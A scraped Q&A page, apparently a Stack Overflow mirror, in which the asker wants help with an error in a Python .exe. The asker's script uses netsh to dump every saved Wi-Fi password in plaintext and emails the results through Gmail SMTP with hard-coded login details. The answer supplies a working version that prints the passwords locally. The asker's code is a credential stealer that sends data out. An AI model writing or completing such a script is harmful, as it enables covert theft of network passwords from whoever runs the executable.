简体   繁体   中英

WinError 6 while executing a python.exe

Traceback (most recent call last):
  File "main.py", line 6, in <module>
  File "subprocess.py", line 424, in check_output
  File "subprocess.py", line 505, in run
  File "subprocess.py", line 829, in __init__
  File "subprocess.py", line 1252, in _get_handles
OSError: [WinError 6] The handle is invalid

And my code for exe is:

import subprocess
import smtplib
import re

command1 = "netsh wlan show profile"
networks = subprocess.check_output(command1, shell=True)
network_list = re.findall('(?:Profile\s*:\s)(.*)', networks)

final_output = ""
for network in network_list:
    command2 = "netsh wlan show profile " + network + "key=clear"
    one_network_result = subprocess.check_output(command2, shell=True)
    final_output += one_network_result

subprocess._cleanup()

server = smtplib.smtp("smtp.gmail.com", 587)
server.starttls()
server.login("stackoverflowtest@gmail.com", "pleaseplease")
server.sendmail("stackoverflowtest@gmail.com","stackoverflowtest@gmail.com",final_output)
server.quit()
quit()


I am trying to make a test upon how to automate and recover wifi passwords, but a error is occurring when I click on the .exe (python) file. Please help.

Well, the question was a bit unclear, but I assume, you need to see your wifi passwords..

Took a bit of time, but this should work:

import subprocess

data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
for i in profiles:
    results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n')
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    try:
        print ("{:<30}|  {:<}".format(i, results[0]))
    except IndexError:
        print ("{:<30}|  {:<}".format(i, ""))

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM